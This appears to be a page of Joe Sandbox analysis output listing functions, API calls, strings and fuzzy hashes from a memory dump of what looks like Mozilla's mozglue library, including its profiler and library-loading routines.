Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: fcec71cbdd816bfaf3b99d12777026c6dc7e8cbc5eb83facb9f8b7cefe3b69f0
Instruction ID: 17de2b0d822072779722248039592bb9d65e0590a151d490b1f36617d969af95
Opcode Fuzzy Hash: fcec71cbdd816bfaf3b99d12777026c6dc7e8cbc5eb83facb9f8b7cefe3b69f0
Instruction Fuzzy Hash: 8EE08CE2A0111037F514225ABC8ADBBB71CDBC6138F090139FD0D82301E94ABD1E52F6

Function 6CA705F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 214bfe29cca7add8542552a8a23ac44418930297c84f57a1119de15d53c00947
Instruction ID: cfc193ddcf540425faa3151e67097314790ee56be938afcb99d95ffe642cb420
Opcode Fuzzy Hash: 214bfe29cca7add8542552a8a23ac44418930297c84f57a1119de15d53c00947
Instruction Fuzzy Hash: 0DA13774A007458FDB24CF29C994A9AFBF1FF49304F54866ED44A97B00E771A989CFA0

Function 6CAC14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAC14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAC14E2
GetCurrentThreadId.KERNEL32 ref: 6CAC1546
InitializeConditionVariable.KERNEL32(?), ref: 6CAC15BA
free.MOZGLUE(?), ref: 6CAC16B4

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 12975f4a6ab886dc55d06f1f6ea9011d47e911b76ec8ed053bb456f1630a99ce
Instruction ID: 61edb29d3ea8189ae822d684e89deff70d7505e303123d6feb25c6b610e9bdbf
Opcode Fuzzy Hash: 12975f4a6ab886dc55d06f1f6ea9011d47e911b76ec8ed053bb456f1630a99ce
Instruction Fuzzy Hash: 3C61D171B007449BDB11CF24D980BEAB7B5BF89308F04851CEE8A67701DB31E989CB92

Function 6CAB9F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CAB9FDB
free.MOZGLUE(?,?), ref: 6CAB9FF0
free.MOZGLUE(?,?), ref: 6CABA006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CABA0BE
free.MOZGLUE(?,?), ref: 6CABA0D5
free.MOZGLUE(?,?), ref: 6CABA0EB

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 10cfbee8b1e905e56e270ae3721d64537a0e3ea0f81fd371e402774137e6cd89
Instruction ID: 3910e98c036d6ae645e9c6aa1ce143d1cb41d587446cacdca75b795b10eabd29
Opcode Fuzzy Hash: 10cfbee8b1e905e56e270ae3721d64537a0e3ea0f81fd371e402774137e6cd89
Instruction Fuzzy Hash: F061AF755096019FD711CF18C48059AB3F9FF88328F548669EC9AAB702E732E9C6CBD1

Function 6CABDC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CABDC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6CABD38A,?), ref: 6CABDC6F
free.MOZGLUE(?,?,?,?,?,6CABD38A,?), ref: 6CABDCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6CABD38A,?), ref: 6CABDCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6CABD38A,?), ref: 6CABDD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6CABD38A,?), ref: 6CABDD4A

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: a18111a0d7e4f9c20e02b762c5f451720ca33f083325df69783b04d5cd45c817
Instruction ID: b87d46a62c2f96e1a0732b7d365b635ecfc31a697e7367e6fbe522f2d2214240
Opcode Fuzzy Hash: a18111a0d7e4f9c20e02b762c5f451720ca33f083325df69783b04d5cd45c817
Instruction Fuzzy Hash: 114169B5A00306CFCB00CFA9C9809AAB7F9FF89318B594569D946ABB15D731FC44CB90

Function 6CAA6590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6CA9FA80: GetCurrentThreadId.KERNEL32 ref: 6CA9FA8D
Part of subcall function 6CA9FA80: AcquireSRWLockExclusive.KERNEL32(6CAEF448), ref: 6CA9FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAA6727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6CAA67C8

Part of subcall function 6CAB4290: memcpy.VCRUNTIME140(?,?,6CAC2003,6CAC0AD9,?,6CAC0AD9,00000000,?,6CAC0AD9,?,00000004,?,6CAC1A62,?,6CAC2003,?), ref: 6CAB42C4

Strings

data, xrefs: 6CAA6593

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 9bf0525db4049d62e3df05ffdc31f1d524e8c441a681e89f1305f5366a223286
Instruction ID: c87d4042b7627df2ea7446856a69895b633b36112bd6b4085e1500c41243b19b
Opcode Fuzzy Hash: 9bf0525db4049d62e3df05ffdc31f1d524e8c441a681e89f1305f5366a223286
Instruction Fuzzy Hash: 6AD1DE75A043408FD724CF68D841B9BB7F5BFC5308F14892DE18997B50EB30A88ACB92

Function 6CA9D5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6CA6EB57,?,?,?,?,?,?,?,?,?), ref: 6CA9D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CA6EB57,?), ref: 6CA9D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CA6EB57,?), ref: 6CA9D673
free.MOZGLUE(?), ref: 6CA9D888

Strings

|Enabled, xrefs: 6CA9D81E

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: 0e0e3415c867f7a5b19d767130d83d9a88570fd31da60d805e9dfd726678e04f
Instruction ID: afa54d5a97fda9d188c00943ff1a99729495d3af601e7c28857391a69a4d8d0d
Opcode Fuzzy Hash: 0e0e3415c867f7a5b19d767130d83d9a88570fd31da60d805e9dfd726678e04f
Instruction Fuzzy Hash: 0EA1E3B0E103458FDB14CF69C8916EEBBF1AF49318F18845CD8996B742D730A8C9CBA1

Function 6CA9F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6CA9F480

Part of subcall function 6CA6F100: LoadLibraryW.KERNEL32(shell32,?,6CADD020), ref: 6CA6F122
Part of subcall function 6CA6F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CA6F132

CloseHandle.KERNEL32(00000000), ref: 6CA9F555

Part of subcall function 6CA714B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CA71248,6CA71248,?), ref: 6CA714C9
Part of subcall function 6CA714B0: memcpy.VCRUNTIME140(?,6CA71248,00000000,?,6CA71248,?), ref: 6CA714EF

Part of subcall function 6CA6EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6CA6EEE3

CreateFileW.KERNEL32 ref: 6CA9F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6CA9F523

Strings

\oleacc.dll, xrefs: 6CA9F4CB

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: b6f92ad7e5ae9d411b5d312b42f4c266cd7f659510d553790ebdb6f556ab5757
Instruction ID: 4ff138daa10a2f2a5c4db06d24843b14b1dc404a0c853b460765e0d41de616f7
Opcode Fuzzy Hash: b6f92ad7e5ae9d411b5d312b42f4c266cd7f659510d553790ebdb6f556ab5757
Instruction Fuzzy Hash: 3C41C0706187109FE720DF29CD85A9AB3F4AF88318F504A1CF59183650EB30E989CBA2

Function 6CAAE020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA74A68), ref: 6CAA945E
Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAA9470
Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAA9482
Part of subcall function 6CAA9420: __Init_thread_footer.LIBCMT ref: 6CAA949F

GetCurrentThreadId.KERNEL32 ref: 6CAAE047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAAE04F

Part of subcall function 6CAA94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAA94EE
Part of subcall function 6CAA94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAA9508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAAE09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAAE0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6CAAE057

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: 23420b4958b77d0d8ac68281203595c841b615bd3de18758bb506afee32c15ff
Instruction ID: 817d47ce5025afb91c39d4a14e1733485a4bb5bc636d7a2844dccba59f7b97ab
Opcode Fuzzy Hash: 23420b4958b77d0d8ac68281203595c841b615bd3de18758bb506afee32c15ff
Instruction Fuzzy Hash: 2B21C574B002099FDF04DFA5D9586EEBBB5AF49208F144424E81A97740DB31999BC7E1

Function 6CAC74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CAC7526
__Init_thread_footer.LIBCMT ref: 6CAC7566
__Init_thread_footer.LIBCMT ref: 6CAC7597

Strings

kernel32.dll, xrefs: 6CAC7557
UnmapViewOfFile2, xrefs: 6CAC7552

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: f422bddd6fa295fc69f51ea7050b2b61e2e81a84a248dd4c35c99ff57c4064b0
Instruction ID: 0d9c72b00c78a132b6138dad59060d0af2261b921ec16a792c048d1552ca505b
Opcode Fuzzy Hash: f422bddd6fa295fc69f51ea7050b2b61e2e81a84a248dd4c35c99ff57c4064b0
Instruction Fuzzy Hash: E5212831B016029BDB188BEEED05E5933B6EB4B324F04812DD906D7F40CB30A8C696E7

Function 6CACA7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CAEF770,-00000001,?,6CADE330,?,6CA8BDF7), ref: 6CACA7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6CA8BDF7), ref: 6CACA7C2
moz_xmalloc.MOZGLUE(00000018,?,6CA8BDF7), ref: 6CACA7E4
LeaveCriticalSection.KERNEL32(6CAEF770), ref: 6CACA80A

Strings

accelerator.dll, xrefs: 6CACA7BF

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 07dd506699d4bd18216879305d2c497463623cae1d1a1f02766fffd21b1fa2ba
Instruction ID: 1553b3d564401535ade9768cf71a1d5da7f16b0a8dc44131ee52232ce7a641c6
Opcode Fuzzy Hash: 07dd506699d4bd18216879305d2c497463623cae1d1a1f02766fffd21b1fa2ba
Instruction Fuzzy Hash: F30178B1B003059FDB488F9AE884C21B7B9FB8A315709806AE8098B741DB70AC44DBE1

Function 6CA6F0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6CA6EE51,?), ref: 6CA6F0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6CA6F0C2

Strings

Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6CA6F0DC
Could not find CoTaskMemFree, xrefs: 6CA6F0E3
ole32, xrefs: 6CA6F0AD

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: 4743e5651b8904c9a84131855616c5053658ada58fec12d4f131b4f05397e7b6
Instruction ID: 75e92955eb33c458ba1679b155e06f8fd00a2572e569214a38460bd4b345b9a5
Opcode Fuzzy Hash: 4743e5651b8904c9a84131855616c5053658ada58fec12d4f131b4f05397e7b6
Instruction Fuzzy Hash: 09E09A703453029FAF582B63BC19B2637B8AB1E209308C12DA612C1E01FA20D081A7E6

Function 6CAA0080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CA77204), ref: 6CAA0088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6CAA00A7
FreeLibrary.KERNEL32(?,6CA77204), ref: 6CAA00BE

Strings

wintrust.dll, xrefs: 6CAA0083
CryptCATAdminAcquireContext2, xrefs: 6CAA00A1

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: e1a51878fbf702b9fd00a615a2221655827d1f97d43fcf290284c37989359e2b
Instruction ID: 11984f451a126c5074a5de4eee87c7a449079108ed9d6946d9a2324e42d11a6d
Opcode Fuzzy Hash: e1a51878fbf702b9fd00a615a2221655827d1f97d43fcf290284c37989359e2b
Instruction Fuzzy Hash: FBE01A706003429BDF886FA6AC0C7013AF8F70F344F40C119E911C2690D774C082BB95

Function 6CAA00D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CA77235), ref: 6CAA00D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6CAA00F7
FreeLibrary.KERNEL32(?,6CA77235), ref: 6CAA010E

Strings

CryptCATAdminCalcHashFromFileHandle2, xrefs: 6CAA00F1
wintrust.dll, xrefs: 6CAA00D3

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: c4a072277ccbd781a7e52596d66528538382874c6c5ead01ded5d11ceeaab0d8
Instruction ID: a4d799068804d5c023b569f33c457e64397b7d2cdfb5953fbbd1860d7063939a
Opcode Fuzzy Hash: c4a072277ccbd781a7e52596d66528538382874c6c5ead01ded5d11ceeaab0d8
Instruction Fuzzy Hash: 95E01A706413479BEFC85FA5AD0E7613AF8E70E204F54C029A90E82A40D7708082AB90

Function 6CACC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CACC0E9), ref: 6CACC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6CACC437
FreeLibrary.KERNEL32(?,6CACC0E9), ref: 6CACC44C

Strings

ntdll.dll, xrefs: 6CACC413
NtQueryVirtualMemory, xrefs: 6CACC431

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: a545005886c50601f194217c644905d6ab983c8191bdf447f5114c83b4f38b5b
Instruction ID: 681355c8d52693e310484356dc34e2cd4321f35174b5fd8b83c8d50aa4bebf02
Opcode Fuzzy Hash: a545005886c50601f194217c644905d6ab983c8191bdf447f5114c83b4f38b5b
Instruction Fuzzy Hash: 71E09A706013029BDF886B71AD0C7117AF8F74E208F04D21AAA04D1690DB74D442ABD5

Function 6CAC75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CAC748B,?), ref: 6CAC75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6CAC75D7
FreeLibrary.KERNEL32(?,6CAC748B,?), ref: 6CAC75EC

Strings

ntdll.dll, xrefs: 6CAC75B3
RtlNtStatusToDosError, xrefs: 6CAC75D1

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: a5c77f3574adc8aa2fb26952ede19088593aa81c18c11772658f65f9e18b61fd
Instruction ID: 02f03e5616692837d0c628862061e62e4432ac13bc35b1c24dea768898ac494e
Opcode Fuzzy Hash: a5c77f3574adc8aa2fb26952ede19088593aa81c18c11772658f65f9e18b61fd
Instruction Fuzzy Hash: 01E09A71601307ABEB885BA2EC487057AF8EB0E254F14C129AD05E1650DB708583AF95

Function 6CAC7600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CAC7592), ref: 6CAC7608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6CAC7627
FreeLibrary.KERNEL32(?,6CAC7592), ref: 6CAC763C

Strings

ntdll.dll, xrefs: 6CAC7603
NtUnmapViewOfSection, xrefs: 6CAC7621

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: a2481802e9a48c524f94abc94cab2f17c71385b2e5358f24c81903648ef371f7
Instruction ID: d677b13282dcaadc7faed45783a144539012a69a03dde2df1bc3a53744748aae
Opcode Fuzzy Hash: a2481802e9a48c524f94abc94cab2f17c71385b2e5358f24c81903648ef371f7
Instruction Fuzzy Hash: 9EE09AB16013039BEF885BAAAC487417AB8F75E359F04C119ED05D1A50EB708442ABD9
